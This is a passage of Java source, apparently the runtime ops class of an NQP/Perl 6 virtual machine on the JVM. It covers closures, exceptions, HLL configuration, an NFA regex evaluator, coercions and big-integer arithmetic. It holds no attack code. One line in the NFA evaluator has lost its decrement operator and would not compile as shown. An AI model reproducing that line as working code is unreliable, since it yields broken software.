isge_s(String a, String b) { return a.compareTo(b) >= 0 ? 1 : 0; } /* Code object related. */ public static SixModelObject takeclosure(SixModelObject code, ThreadContext tc) { if (code instanceof CodeRef) { CodeRef clone = (CodeRef)code.clone(tc); clone.outer = tc.curFrame; return clone; } else { throw ExceptionHandling.dieInternal(tc, "takeclosure can only be used with a CodeRef"); } } public static SixModelObject getcodeobj(SixModelObject code, ThreadContext tc) { if (code instanceof CodeRef) return ((CodeRef)code).codeObject; else throw ExceptionHandling.dieInternal(tc, "getcodeobj can only be used with a CodeRef"); } public static SixModelObject setcodeobj(SixModelObject code, SixModelObject obj, ThreadContext tc) { if (code instanceof CodeRef) { ((CodeRef)code).codeObject = obj; return code; } else { throw ExceptionHandling.dieInternal(tc, "setcodeobj can only be used with a CodeRef"); } } public static String getcodename(SixModelObject code, ThreadContext tc) { if (code instanceof CodeRef) return ((CodeRef)code).name; else throw ExceptionHandling.dieInternal(tc, "getcodename can only be used with a CodeRef"); } public static SixModelObject setcodename(SixModelObject code, String name, ThreadContext tc) { if (code instanceof CodeRef) { ((CodeRef)code).name = name; return code; } else { throw ExceptionHandling.dieInternal(tc, "setcodename can only be used with a CodeRef"); } } public static String getcodecuid(SixModelObject code, ThreadContext tc) { if (code instanceof CodeRef) return ((CodeRef)code).staticInfo.uniqueId; else throw ExceptionHandling.dieInternal(tc, "getcodename can only be used with a CodeRef"); } public static SixModelObject forceouterctx(SixModelObject code, SixModelObject ctx, ThreadContext tc) { if (!(code instanceof CodeRef)) throw ExceptionHandling.dieInternal(tc, "forceouterctx first operand must be a CodeRef"); if (!(ctx instanceof ContextRefInstance)) throw ExceptionHandling.dieInternal(tc, "forceouterctx second operand must be a ContextRef"); ((CodeRef)code).outer = ((ContextRefInstance)ctx).context; return code; } public static SixModelObject freshcoderef(SixModelObject code, ThreadContext tc) { if (!(code instanceof CodeRef)) throw ExceptionHandling.dieInternal(tc, "freshcoderef must be used on a CodeRef"); CodeRef clone = (CodeRef)code.clone(tc); clone.staticInfo = clone.staticInfo.clone(); clone.staticInfo.staticCode = clone; return clone; } public static SixModelObject markcodestatic(SixModelObject code, ThreadContext tc) { if (!(code instanceof CodeRef)) throw ExceptionHandling.dieInternal(tc, "markcodestatic must be used on a CodeRef"); ((CodeRef)code).isStaticCodeRef = true; return code; } public static SixModelObject markcodestub(SixModelObject code, ThreadContext tc) { if (!(code instanceof CodeRef)) throw ExceptionHandling.dieInternal(tc, "markcodestub must be used on a CodeRef"); ((CodeRef)code).isCompilerStub = true; return code; } public static SixModelObject getstaticcode(SixModelObject code, ThreadContext tc) { if (code instanceof CodeRef) return ((CodeRef)code).staticInfo.staticCode; else throw ExceptionHandling.dieInternal(tc, "getstaticcode can only be used with a CodeRef"); } public static void takedispatcher(int lexIdx, ThreadContext tc) { if (tc.currentDispatcher != null) { tc.curFrame.oLex[lexIdx] = tc.currentDispatcher; tc.currentDispatcher = null; } } /* process related opcodes */ public static long exit(final long status, ThreadContext tc) { tc.gc.exit((int) status); return status; } public static double sleep(final double seconds) { // Is this really the right behavior, i.e., swallowing all // InterruptedExceptions? As far as I can tell the original // nqp::sleep could not be interrupted, so that behavior is // duplicated here, but that doesn't mean it's the right thing // to do on the JVM... long now = System.currentTimeMillis(); final long awake = now + (long) (seconds * 1000); while ((now = System.currentTimeMillis()) < awake) { long millis = awake - now; try { Thread.sleep(millis); } catch(InterruptedException e) { // swallow } } return seconds; } public static SixModelObject getenvhash(ThreadContext tc) { SixModelObject hashType = tc.curFrame.codeRef.staticInfo.compUnit.hllConfig.hashType; SixModelObject strType = tc.curFrame.codeRef.staticInfo.compUnit.hllConfig.strBoxType; SixModelObject res = hashType.st.REPR.allocate(tc, hashType.st); Map<String, String> env = System.getenv(); for (String envName : env.keySet()) res.bind_key_boxed(tc, envName, box_s(env.get(envName), strType, tc)); return res; } public static long getpid(ThreadContext tc) { try { java.lang.management.RuntimeMXBean runtime = java.lang.management.ManagementFactory.getRuntimeMXBean(); java.lang.reflect.Field jvm = runtime.getClass().getDeclaredField("jvm"); jvm.setAccessible(true); Object mgmt = jvm.get(runtime); java.lang.reflect.Method pid_method = mgmt.getClass().getDeclaredMethod("getProcessId"); pid_method.setAccessible(true); return (Integer)pid_method.invoke(mgmt); } catch (Throwable t) { throw ExceptionHandling.dieInternal(tc, t); } } public static SixModelObject jvmgetproperties(ThreadContext tc) { SixModelObject hashType = tc.curFrame.codeRef.staticInfo.compUnit.hllConfig.hashType; SixModelObject strType = tc.curFrame.codeRef.staticInfo.compUnit.hllConfig.strBoxType; SixModelObject res = hashType.st.REPR.allocate(tc, hashType.st); Properties env = System.getProperties(); for (String envName : env.stringPropertyNames()) { String propVal = env.getProperty(envName); if (envName.equals("os.name")) { // Normalize OS name (some cases likely missing). String pvlc = propVal.toLowerCase(); if (pvlc.indexOf("win") >= 0) propVal = "MSWin32"; else if (pvlc.indexOf("mac os x") >= 0) propVal = "darwin"; } res.bind_key_boxed(tc, envName, box_s(propVal, strType, tc)); } return res; } /* Exception related. */ public static void die_s_c(String msg, ThreadContext tc) { // Construct exception object. SixModelObject exType = tc.curFrame.codeRef.staticInfo.compUnit.hllConfig.exceptionType; VMExceptionInstance exObj = (VMExceptionInstance)exType.st.REPR.allocate(tc, exType.st); exObj.message = msg; exObj.category = ExceptionHandling.EX_CAT_CATCH; exObj.origin = tc.curFrame; exObj.nativeTrace = (new Throwable()).getStackTrace(); ExceptionHandling.handlerDynamic(tc, ExceptionHandling.EX_CAT_CATCH, true, exObj); } public static void throwcatdyn_c(long category, ThreadContext tc) { ExceptionHandling.handlerDynamic(tc, category, false, null); } public static SixModelObject exception(ThreadContext tc) { int numHandlers = tc.handlers.size(); if (numHandlers > 0) return tc.handlers.get(numHandlers - 1).exObj; else throw ExceptionHandling.dieInternal(tc, "Cannot get exception object ouside of exception handler"); } public static long getextype(SixModelObject obj, ThreadContext tc) { if (obj instanceof VMExceptionInstance) return ((VMExceptionInstance)obj).category; else throw ExceptionHandling.dieInternal(tc, "getextype needs an object with VMException representation"); } public static long setextype(SixModelObject obj, long category, ThreadContext tc) { if (obj instanceof VMExceptionInstance) { ((VMExceptionInstance)obj).category = category; return category; } else throw ExceptionHandling.dieInternal(tc, "setextype needs an object with VMException representation"); } public static String getmessage(SixModelObject obj, ThreadContext tc) { if (obj instanceof VMExceptionInstance) { String msg = ((VMExceptionInstance)obj).message; return msg == null ? "Died" : msg; } else { throw ExceptionHandling.dieInternal(tc, "getmessage needs an object with VMException representation"); } } public static String setmessage(SixModelObject obj, String msg, ThreadContext tc) { if (obj instanceof VMExceptionInstance) { ((VMExceptionInstance)obj).message = msg; return msg; } else { throw ExceptionHandling.dieInternal(tc, "setmessage needs an object with VMException representation"); } } public static SixModelObject getpayload(SixModelObject obj, ThreadContext tc) { if (obj instanceof VMExceptionInstance) return ((VMExceptionInstance)obj).payload; else throw ExceptionHandling.dieInternal(tc, "getpayload needs an object with VMException representation"); } public static SixModelObject setpayload(SixModelObject obj, SixModelObject payload, ThreadContext tc) { if (obj instanceof VMExceptionInstance) { ((VMExceptionInstance)obj).payload = payload; return payload; } else { throw ExceptionHandling.dieInternal(tc, "setpayload needs an object with VMException representation"); } } public static SixModelObject newexception(ThreadContext tc) { SixModelObject exType = tc.curFrame.codeRef.staticInfo.compUnit.hllConfig.exceptionType; SixModelObject exObj = (VMExceptionInstance)exType.st.REPR.allocate(tc, exType.st); return exObj; } public static SixModelObject backtracestrings(SixModelObject obj, ThreadContext tc) { if (obj instanceof VMExceptionInstance) { SixModelObject Array = tc.curFrame.codeRef.staticInfo.compUnit.hllConfig.listType; SixModelObject Str = tc.curFrame.codeRef.staticInfo.compUnit.hllConfig.strBoxType; SixModelObject result = Array.st.REPR.allocate(tc, Array.st); List<String> lines = ExceptionHandling.backtraceStrings(((VMExceptionInstance)obj)); for (int i = 0; i < lines.size(); i++) result.bind_pos_boxed(tc, i, box_s(lines.get(i), Str, tc)); return result; } else { throw ExceptionHandling.dieInternal(tc, "backtracestring needs an object with VMException representation"); } } public static SixModelObject backtrace(SixModelObject obj, ThreadContext tc) { if (obj instanceof VMExceptionInstance) { SixModelObject Array = tc.curFrame.codeRef.staticInfo.compUnit.hllConfig.listType; SixModelObject Hash = tc.curFrame.codeRef.staticInfo.compUnit.hllConfig.hashType; SixModelObject Str = tc.curFrame.codeRef.staticInfo.compUnit.hllConfig.strBoxType; SixModelObject Int = tc.curFrame.codeRef.staticInfo.compUnit.hllConfig.intBoxType; SixModelObject result = Array.st.REPR.allocate(tc, Array.st); for (ExceptionHandling.TraceElement te : ExceptionHandling.backtrace(((VMExceptionInstance)obj))) { SixModelObject annots = Hash.st.REPR.allocate(tc, Hash.st); if (te.file != null) annots.bind_key_boxed(tc, "file", box_s(te.file, Str, tc)); if (te.line >= 0) annots.bind_key_boxed(tc, "line", box_i(te.line, Int, tc)); SixModelObject row = Hash.st.REPR.allocate(tc, Hash.st); row.bind_key_boxed(tc, "sub", te.frame.codeRef); row.bind_key_boxed(tc, "annotations", annots); result.push_boxed(tc, row); } return result; } else { throw ExceptionHandling.dieInternal(tc, "backtrace needs an object with VMException representation"); } } public static void _throw_c(SixModelObject obj, ThreadContext tc) { if (obj instanceof VMExceptionInstance) { VMExceptionInstance ex = (VMExceptionInstance)obj; ex.origin = tc.curFrame; ex.nativeTrace = (new Throwable()).getStackTrace(); ExceptionHandling.handlerDynamic(tc, ex.category, false, ex); } else { throw ExceptionHandling.dieInternal(tc, "throw needs an object with VMException representation"); } } public static void rethrow_c(SixModelObject obj, ThreadContext tc) { if (obj instanceof VMExceptionInstance) { VMExceptionInstance ex = (VMExceptionInstance)obj; ExceptionHandling.handlerDynamic(tc, ex.category, false, ex); } else { throw ExceptionHandling.dieInternal(tc, "rethrow needs an object with VMException representation"); } } private static ResumeException theResumer = new ResumeException(); public static SixModelObject resume(SixModelObject obj, ThreadContext tc) { throw theResumer; } /* compatibility shims for next bootstrap TODO */ public static String die_s(String msg, ThreadContext tc) { try { die_s_c(msg, tc); } catch (SaveStackException sse) { ExceptionHandling.dieInternal(tc, "control operator crossed continuation barrier"); } return result_s(tc.curFrame); } public static SixModelObject throwcatdyn(long category, ThreadContext tc) { try { throwcatdyn_c(category, tc); } catch (SaveStackException sse) { ExceptionHandling.dieInternal(tc, "control operator crossed continuation barrier"); } return result_o(tc.curFrame); } public static SixModelObject _throw(SixModelObject obj, ThreadContext tc) { try { _throw_c(obj, tc); } catch (SaveStackException sse) { ExceptionHandling.dieInternal(tc, "control operator crossed continuation barrier"); } return result_o(tc.curFrame); } public static SixModelObject rethrow(SixModelObject obj, ThreadContext tc) { try { rethrow_c(obj, tc); } catch (SaveStackException sse) { ExceptionHandling.dieInternal(tc, "control operator crossed continuation barrier"); } return result_o(tc.curFrame); } /* HLL configuration and compiler related options. */ public static SixModelObject sethllconfig(String language, SixModelObject configHash, ThreadContext tc) { HLLConfig config = tc.gc.getHLLConfigFor(language); if (configHash.exists_key(tc, "int_box") != 0) config.intBoxType = configHash.at_key_boxed(tc, "int_box"); if (configHash.exists_key(tc, "num_box") != 0) config.numBoxType = configHash.at_key_boxed(tc, "num_box"); if (configHash.exists_key(tc, "str_box") != 0) config.strBoxType = configHash.at_key_boxed(tc, "str_box"); if (configHash.exists_key(tc, "list") != 0) config.listType = configHash.at_key_boxed(tc, "list"); if (configHash.exists_key(tc, "hash") != 0) config.hashType = configHash.at_key_boxed(tc, "hash"); if (configHash.exists_key(tc, "slurpy_array") != 0) config.slurpyArrayType = configHash.at_key_boxed(tc, "slurpy_array"); if (configHash.exists_key(tc, "slurpy_hash") != 0) config.slurpyHashType = configHash.at_key_boxed(tc, "slurpy_hash"); if (configHash.exists_key(tc, "array_iter") != 0) config.arrayIteratorType = configHash.at_key_boxed(tc, "array_iter"); if (configHash.exists_key(tc, "hash_iter") != 0) config.hashIteratorType = configHash.at_key_boxed(tc, "hash_iter"); if (configHash.exists_key(tc, "foreign_type_int") != 0) config.foreignTypeInt = configHash.at_key_boxed(tc, "foreign_type_int"); if (configHash.exists_key(tc, "foreign_type_num") != 0) config.foreignTypeNum = configHash.at_key_boxed(tc, "foreign_type_num"); if (configHash.exists_key(tc, "foreign_type_str") != 0) config.foreignTypeStr = configHash.at_key_boxed(tc, "foreign_type_str"); if (configHash.exists_key(tc, "foreign_transform_int") != 0) config.foreignTransformInt = configHash.at_key_boxed(tc, "foreign_transform_int"); if (configHash.exists_key(tc, "foreign_transform_str") != 0) config.foreignTransformNum = configHash.at_key_boxed(tc, "foreign_transform_num"); if (configHash.exists_key(tc, "foreign_transform_num") != 0) config.foreignTransformStr = configHash.at_key_boxed(tc, "foreign_transform_str"); if (configHash.exists_key(tc, "foreign_transform_array") != 0) config.foreignTransformArray = configHash.at_key_boxed(tc, "foreign_transform_array"); if (configHash.exists_key(tc, "foreign_transform_hash") != 0) config.foreignTransformHash = configHash.at_key_boxed(tc, "foreign_transform_hash"); if (configHash.exists_key(tc, "foreign_transform_code") != 0) config.foreignTransformCode = configHash.at_key_boxed(tc, "foreign_transform_code"); if (configHash.exists_key(tc, "foreign_transform_any") != 0) config.foreignTransformAny = configHash.at_key_boxed(tc, "foreign_transform_any"); if (configHash.exists_key(tc, "null_value") != 0) config.nullValue = configHash.at_key_boxed(tc, "null_value"); if (configHash.exists_key(tc, "exit_handler") != 0) config.exitHandler = configHash.at_key_boxed(tc, "exit_handler"); return configHash; } public static SixModelObject getcomp(String name, ThreadContext tc) { return tc.gc.compilerRegistry.get(name); } public static SixModelObject bindcomp(String name, SixModelObject comp, ThreadContext tc) { tc.gc.compilerRegistry.put(name, comp); return comp; } public static SixModelObject getcurhllsym(String name, ThreadContext tc) { String hllName = tc.curFrame.codeRef.staticInfo.compUnit.hllName(); HashMap<String, SixModelObject> hllSyms = tc.gc.hllSyms.get(hllName); return hllSyms == null ? null : hllSyms.get(name); } public static SixModelObject bindcurhllsym(String name, SixModelObject value, ThreadContext tc) { String hllName = tc.curFrame.codeRef.staticInfo.compUnit.hllName(); HashMap<String, SixModelObject> hllSyms = tc.gc.hllSyms.get(hllName); if (hllSyms == null) { hllSyms = new HashMap<String, SixModelObject>(); tc.gc.hllSyms.put(hllName, hllSyms); } hllSyms.put(name, value); return value; } public static SixModelObject gethllsym(String hllName, String name, ThreadContext tc) { HashMap<String, SixModelObject> hllSyms = tc.gc.hllSyms.get(hllName); return hllSyms == null ? null : hllSyms.get(name); } public static SixModelObject bindhllsym(String hllName, String name, SixModelObject value, ThreadContext tc) { HashMap<String, SixModelObject> hllSyms = tc.gc.hllSyms.get(hllName); if (hllSyms == null) { hllSyms = new HashMap<String, SixModelObject>(); tc.gc.hllSyms.put(hllName, hllSyms); } hllSyms.put(name, value); return value; } public static String loadbytecode(String filename, ThreadContext tc) { new LibraryLoader().load(tc, filename); return filename; } public static SixModelObject settypehll(SixModelObject type, String language, ThreadContext tc) { type.st.hllOwner = tc.gc.getHLLConfigFor(language); return type; } public static SixModelObject settypehllrole(SixModelObject type, long role, ThreadContext tc) { type.st.hllRole = role; return type; } public static SixModelObject hllize(SixModelObject obj, ThreadContext tc) { HLLConfig wanted = tc.curFrame.codeRef.staticInfo.compUnit.hllConfig; if (obj != null && obj.st.hllOwner == wanted) return obj; else return hllizeInternal(obj, wanted, tc); } public static SixModelObject hllizefor(SixModelObject obj, String language, ThreadContext tc) { HLLConfig wanted = tc.gc.getHLLConfigFor(language); if (obj != null && obj.st.hllOwner == wanted) return obj; else return hllizeInternal(obj, wanted, tc); } private static SixModelObject hllizeInternal(SixModelObject obj, HLLConfig wanted, ThreadContext tc) { /* Map nulls to the language's designated null value. */ if (obj == null) return wanted.nullValue; /* Go by what role the object plays. */ switch ((int)obj.st.hllRole) { case HLLConfig.ROLE_INT: if (wanted.foreignTypeInt != null) { return box_i(obj.get_int(tc), wanted.foreignTypeInt, tc); } else if (wanted.foreignTransformInt != null) { throw new RuntimeException("foreign_transform_int NYI"); } else { return obj; } case HLLConfig.ROLE_NUM: if (wanted.foreignTypeNum != null) { return box_n(obj.get_num(tc), wanted.foreignTypeNum, tc); } else if (wanted.foreignTransformNum != null) { throw new RuntimeException("foreign_transform_num NYI"); } else { return obj; } case HLLConfig.ROLE_STR: if (wanted.foreignTypeStr != null) { return box_s(obj.get_str(tc), wanted.foreignTypeStr, tc); } else if (wanted.foreignTransformStr != null) { throw new RuntimeException("foreign_transform_str NYI"); } else { return obj; } case HLLConfig.ROLE_ARRAY: if (wanted.foreignTransformArray != null) { invokeDirect(tc, wanted.foreignTransformArray, invocantCallSite, new Object[] { obj }); return result_o(tc.curFrame); } else { return obj; } case HLLConfig.ROLE_HASH: if (wanted.foreignTransformHash != null) { invokeDirect(tc, wanted.foreignTransformHash, invocantCallSite, new Object[] { obj }); return result_o(tc.curFrame); } else { return obj; } case HLLConfig.ROLE_CODE: if (wanted.foreignTransformCode != null) { invokeDirect(tc, wanted.foreignTransformCode, invocantCallSite, new Object[] { obj }); return result_o(tc.curFrame); } else { return obj; } default: if (wanted.foreignTransformAny != null) { invokeDirect(tc, wanted.foreignTransformAny, invocantCallSite, new Object[] { obj }); return result_o(tc.curFrame); } else { return obj; } } } /* NFA operations. */ public static SixModelObject nfafromstatelist(SixModelObject states, SixModelObject nfaType, ThreadContext tc) { /* Create NFA object. */ NFAInstance nfa = (NFAInstance)nfaType.st.REPR.allocate(tc, nfaType.st); /* The first state entry is the fates list. */ nfa.fates = states.at_pos_boxed(tc, 0); /* Go over the rest and convert to the NFA. */ int numStates = (int)states.elems(tc) - 1; nfa.numStates = numStates; nfa.states = new NFAStateInfo[numStates][]; for (int i = 0; i < numStates; i++) { SixModelObject edgeInfo = states.at_pos_boxed(tc, i + 1); int elems = (int)edgeInfo.elems(tc); int edges = elems / 3; int curEdge = 0; nfa.states[i] = new NFAStateInfo[edges]; for (int j = 0; j < elems; j += 3) { int act = (int)smart_numify(edgeInfo.at_pos_boxed(tc, j), tc); int to = (int)smart_numify(edgeInfo.at_pos_boxed(tc, j + 2), tc); nfa.states[i][curEdge] = new NFAStateInfo(); nfa.states[i][curEdge].act = act; nfa.states[i][curEdge].to = to; switch (act) { case NFA.EDGE_FATE: case NFA.EDGE_CODEPOINT: case NFA.EDGE_CODEPOINT_NEG: case NFA.EDGE_CHARCLASS: case NFA.EDGE_CHARCLASS_NEG: nfa.states[i][curEdge].arg_i = (int)smart_numify(edgeInfo.at_pos_boxed(tc, j + 1), tc); break; case NFA.EDGE_CHARLIST: case NFA.EDGE_CHARLIST_NEG: nfa.states[i][curEdge].arg_s = edgeInfo.at_pos_boxed(tc, j + 1).get_str(tc); break; case NFA.EDGE_CODEPOINT_I: case NFA.EDGE_CODEPOINT_I_NEG: { SixModelObject arg = edgeInfo.at_pos_boxed(tc, j + 1); nfa.states[i][curEdge].arg_lc = (char)smart_numify(arg.at_pos_boxed(tc, 0), tc); nfa.states[i][curEdge].arg_uc = (char)smart_numify(arg.at_pos_boxed(tc, 1), tc); break; } } curEdge++; } } return nfa; } public static SixModelObject nfatostatelist(SixModelObject nfa, ThreadContext tc) { throw ExceptionHandling.dieInternal(tc, "nfatostatelist NYI"); } public static SixModelObject nfarunproto(SixModelObject nfa, String target, long pos, ThreadContext tc) { /* Run the NFA. */ int[] fates = runNFA(tc, (NFAInstance)nfa, target, pos); /* Copy results into an RIA. */ SixModelObject BOOTIntArray = tc.gc.BOOTIntArray; SixModelObject fateRes = BOOTIntArray.st.REPR.allocate(tc, BOOTIntArray.st); for (int i = 0; i < fates.length; i++) { tc.native_i = fates[i]; fateRes.bind_pos_native(tc, i); } return fateRes; } public static SixModelObject nfarunalt(SixModelObject nfa, String target, long pos, SixModelObject bstack, SixModelObject cstack, SixModelObject marks, ThreadContext tc) { /* Run the NFA. */ int[] fates = runNFA(tc, (NFAInstance)nfa, target, pos); /* Push the results onto the bstack. */ long caps = cstack == null || cstack instanceof TypeObject ? 0 : cstack.elems(tc); for (int i = 0; i < fates.length; i++) { marks.at_pos_native(tc, fates[i]); bstack.push_native(tc); tc.native_i = pos; bstack.push_native(tc); tc.native_i = 0; bstack.push_native(tc); tc.native_i = caps; bstack.push_native(tc); } return nfa; } /* The NFA evaluator. */ private static int[] runNFA(ThreadContext tc, NFAInstance nfa, String target, long pos) { int eos = target.length(); int gen = 1; /* Allocate a "done states" array. */ int numStates = nfa.numStates; int[] done = new int[numStates + 1]; /* Clear out other re-used arrays. */ ArrayList<Integer> fates = tc.fates; ArrayList<Integer> curst = tc.curst; ArrayList<Integer> nextst = tc.nextst; curst.clear(); nextst.clear(); fates.clear(); nextst.add(1); while (!nextst.isEmpty() && pos <= eos) { /* Translation of: * my @curst := @nextst; * @nextst := []; * But avoids an extra allocation per offset. */ ArrayList<Integer> temp = curst; curst = nextst; temp.clear(); nextst = temp; /* Save how many fates we have before this position is considered. */ int prevFates = fates.size(); while (!curst.isEmpty()) { int top = curst.size() - 1; int st = curst.get(top); curst.remove(top); if (st <= numStates) { if (done[st] == gen) continue; done[st] = gen; } NFAStateInfo[] edgeInfo = nfa.states[st - 1]; for (int i = 0; i < edgeInfo.length; i++) { int act = edgeInfo[i].act; int to = edgeInfo[i].to; if (act == NFA.EDGE_FATE) { /* Crossed a fate edge. Check if we already saw this, and * if so bump the entry we already saw. */ int arg = edgeInfo[i].arg_i; boolean foundFate = false; for (int j = 0; j < fates.size(); j++) { if (foundFate) fates.set(j - 1, fates.get(j)); if (fates.get(j )== arg) { foundFate = true; if (j < prevFates) prevFates } } if (foundFate) fates.set(fates.size() - 1, arg); else fates.add(arg); } else if (act == NFA.EDGE_EPSILON && to <= numStates && done[to] != gen) { curst.add(to); } else if (pos >= eos) { /* Can't match, so drop state. */ } else if (act == NFA.EDGE_CODEPOINT) { char arg = (char)edgeInfo[i].arg_i; if (target.charAt((int)pos) == arg) nextst.add(to); } else if (act == NFA.EDGE_CODEPOINT_NEG) { char arg = (char)edgeInfo[i].arg_i; if (target.charAt((int)pos) != arg) nextst.add(to); } else if (act == NFA.EDGE_CHARCLASS) { if (iscclass(edgeInfo[i].arg_i, target, pos) != 0) nextst.add(to); } else if (act == NFA.EDGE_CHARCLASS_NEG) { if (iscclass(edgeInfo[i].arg_i, target, pos) == 0) nextst.add(to); } else if (act == NFA.EDGE_CHARLIST) { String arg = edgeInfo[i].arg_s; if (arg.indexOf(target.charAt((int)pos)) >= 0) nextst.add(to); } else if (act == NFA.EDGE_CHARLIST_NEG) { String arg = edgeInfo[i].arg_s; if (arg.indexOf(target.charAt((int)pos)) < 0) nextst.add(to); } else if (act == NFA.EDGE_CODEPOINT_I) { char uc_arg = edgeInfo[i].arg_uc; char lc_arg = edgeInfo[i].arg_lc; char ord = target.charAt((int)pos); if (ord == lc_arg || ord == uc_arg) nextst.add(to); } else if (act == NFA.EDGE_CODEPOINT_I_NEG) { char uc_arg = edgeInfo[i].arg_uc; char lc_arg = edgeInfo[i].arg_lc; char ord = target.charAt((int)pos); if (ord != lc_arg && ord != uc_arg) nextst.add(to); } } } /* Move to next character and generation. */ pos++; gen++; /* If we got multiple fates at this offset, sort them by the * declaration order (represented by the fate number). In the * future, we'll want to factor in longest literal prefix too. */ int charFates = fates.size() - prevFates; if (charFates > 1) { List<Integer> charFateList = fates.subList(prevFates, fates.size()); Collections.sort(charFateList, Collections.reverseOrder()); } } int[] result = new int[fates.size()]; for (int i = 0; i < fates.size(); i++) result[i] = fates.get(i); return result; } /* Regex engine mark stack operations. */ public static void rxmark(SixModelObject bstack, long mark, long pos, long rep, ThreadContext tc) { long elems = bstack.elems(tc); long caps; if (elems > 0) { bstack.at_pos_native(tc, elems - 1); caps = tc.native_i; } else { caps = 0; } tc.native_i = mark; bstack.push_native(tc); tc.native_i = pos; bstack.push_native(tc); tc.native_i = rep; bstack.push_native(tc); tc.native_i = caps; bstack.push_native(tc); } public static long rxpeek(SixModelObject bstack, long mark, ThreadContext tc) { long ptr = bstack.elems(tc); while (ptr >= 0) { bstack.at_pos_native(tc, ptr); if (tc.native_i == mark) break; ptr -= 4; } return ptr; } public static void rxcommit(SixModelObject bstack, long mark, ThreadContext tc) { long ptr = bstack.elems(tc); long caps; if (ptr > 0) { bstack.at_pos_native(tc, ptr - 1); caps = tc.native_i; } else { caps = 0; } while (ptr >= 0) { bstack.at_pos_native(tc, ptr); if (tc.native_i == mark) break; ptr -= 4; } bstack.set_elems(tc, ptr); if (caps > 0) { if (ptr > 0) { /* top mark frame is an autofail frame, reuse it to hold captures */ bstack.at_pos_native(tc, ptr - 3); if (tc.native_i < 0) { tc.native_i = caps; bstack.bind_pos_native(tc, ptr - 1); } } /* push a new autofail frame onto bstack to hold the captures */ tc.native_i = 0; bstack.push_native(tc); tc.native_i = -1; bstack.push_native(tc); tc.native_i = 0; bstack.push_native(tc); tc.native_i = caps; bstack.push_native(tc); } } /* Coercions. */ public static long coerce_s2i(String in) { try { return Long.parseLong(in); } catch (NumberFormatException e) { return 0; } } public static double coerce_s2n(String in) { try { return Double.parseDouble(in); } catch (NumberFormatException e) { if (in.equals("Inf")) return Double.POSITIVE_INFINITY; if (in.equals("-Inf")) return Double.NEGATIVE_INFINITY; if (in.equals("NaN")) return Double.NaN; return 0.0; } } public static String coerce_i2s(long in) { return Long.toString(in); } public static String coerce_n2s(double in) { if (in == (long)in) { if (in == 0 && Double.toString(in).equals("-0.0")) { return "-0"; } return Long.toString((long)in); } else { if (in == Double.POSITIVE_INFINITY) return "Inf"; if (in == Double.NEGATIVE_INFINITY) return "-Inf"; if (in != in) return "NaN"; return Double.toString(in); } } /* Long literal workaround. */ public static String join_literal(String[] parts) { StringBuilder retval = new StringBuilder(parts.length * 65535); for (int i = 0; i < parts.length; i++) retval.append(parts[i]); return retval.toString(); } /* Big integer operations. */ private static BigInteger getBI(ThreadContext tc, SixModelObject obj) { if (obj instanceof P6bigintInstance) return ((P6bigintInstance)obj).value; /* What follows is a bit of a hack, relying on the first field being the * big integer. */ obj.get_attribute_native(tc, null, null, 0); return (BigInteger)tc.native_j; } private static SixModelObject makeBI(ThreadContext tc, SixModelObject type, BigInteger value) { SixModelObject res = type.st.REPR.allocate(tc, type.st); if (res instanceof P6bigintInstance) { ((P6bigintInstance)res).value = value; } else { tc.native_j = value; res.bind_attribute_native(tc, null, null, 0); } return res; } public static SixModelObject fromstr_I(String str, SixModelObject type, ThreadContext tc) { return makeBI(tc, type, new BigInteger(str)); } public static String tostr_I(SixModelObject value, ThreadContext tc) { return getBI(tc, value).toString(); } public static String base_I(SixModelObject value, long radix, ThreadContext tc) { return getBI(tc, value).toString((int)radix).toUpperCase(); } public static long isbig_I(SixModelObject value, ThreadContext tc) { /* Check if it needs more bits than a long can offer; note that * bitLength excludes sign considerations, thus 32 rather than * 32. */ return getBI(tc, value).bitLength() > 31 ? 1 : 0; } public static SixModelObject fromnum_I(double num, SixModelObject type, ThreadContext tc) { return makeBI(tc, type, BigDecimal.valueOf(num).toBigInteger()); } public static double tonum_I(SixModelObject value, ThreadContext tc) { return getBI(tc, value).doubleValue(); } public static long bool_I(SixModelObject a, ThreadContext tc) { return getBI(tc, a).compareTo(BigInteger.ZERO) == 0 ? 0 : 1; } public static long cmp_I(SixModelObject a, SixModelObject b, ThreadContext tc) { return getBI(tc, a).compareTo(getBI(tc, b)); } public static long iseq_I(SixModelObject a, SixModelObject b, ThreadContext tc) { return getBI(tc, a).compareTo(getBI(tc, b)) == 0 ? 1 : 0; } public static long isne_I(SixModelObject a, SixModelObject b, ThreadContext tc) { return getBI(tc, a).compareTo(getBI(tc, b)) == 0 ? 0 : 1; } public static long islt_I(SixModelObject a, SixModelObject b, ThreadContext tc) { return getBI(tc, a).compareTo(getBI(tc, b)) < 0 ? 1 : 0; } public static long isle_I(SixModelObject a, SixModelObject b, ThreadContext tc) { return getBI(tc, a).compareTo(getBI(tc, b)) <= 0 ? 1 : 0; } public static long isgt_I(SixModelObject a, SixModelObject b, ThreadContext tc) { return getBI(tc, a).compareTo(getBI(tc, b)) > 0 ? 1 : 0; } public static long isge_I(SixModelObject a, SixModelObject b, ThreadContext tc) { return getBI(tc, a).compareTo(getBI(tc, b)) >= 0 ? 1 : 0; } public static SixModelObject add_I(SixModelObject a, SixModelObject b, SixModelObject type, ThreadContext tc) { return makeBI(tc, type, getBI(tc, a).add(getBI(tc, b))); } public static SixModelObject sub_I(SixModelObject a, SixModelObject b, SixModelObject type, ThreadContext tc) { return makeBI(tc, type, getBI(tc, a).subtract(getBI(tc, b))); } public static SixModelObject mul_I(SixModelObject a, SixModelObject b, SixModelObject type, ThreadContext tc) { return makeBI(tc, type, getBI(tc, a).multiply(getBI(tc, b))); } public static SixModelObject div_I(SixModelObject a, SixModelObject b, SixModelObject type, ThreadContext tc) { BigInteger dividend = getBI(tc, a); BigInteger divisor = getBI(tc, b); long dividend_sign = dividend.signum(); long divisor_sign = divisor.signum(); if (dividend_sign * divisor_sign == -1) { if (dividend.mod(divisor.abs ()).compareTo(BigInteger.ZERO) != 0) { return makeBI(tc, type, dividend.divide(divisor).subtract(BigInteger.ONE)); } } return makeBI(tc, type, dividend.divide(divisor)); } public static double div_In(SixModelObject a, SixModelObject b, ThreadContext tc) { return new BigDecimal(getBI(tc, a)).divide(new BigDecimal(getBI(tc, b)), 309, RoundingMode.HALF_UP).doubleValue(); } public static SixModelObject mod_I(SixModelObject a, SixModelObject b, SixModelObject type, ThreadContext tc) { BigInteger divisor = getBI(tc, b); if (divisor.compareTo(BigInteger.ZERO) < 0) { BigInteger negDivisor = divisor.negate(); BigInteger res = getBI(tc, a).mod(negDivisor); return makeBI(tc, type, res.equals(BigInteger.ZERO) ? res : divisor.add(res)); } else { return makeBI(tc, type, getBI(tc, a).mod(divisor)); } } public static SixModelObject 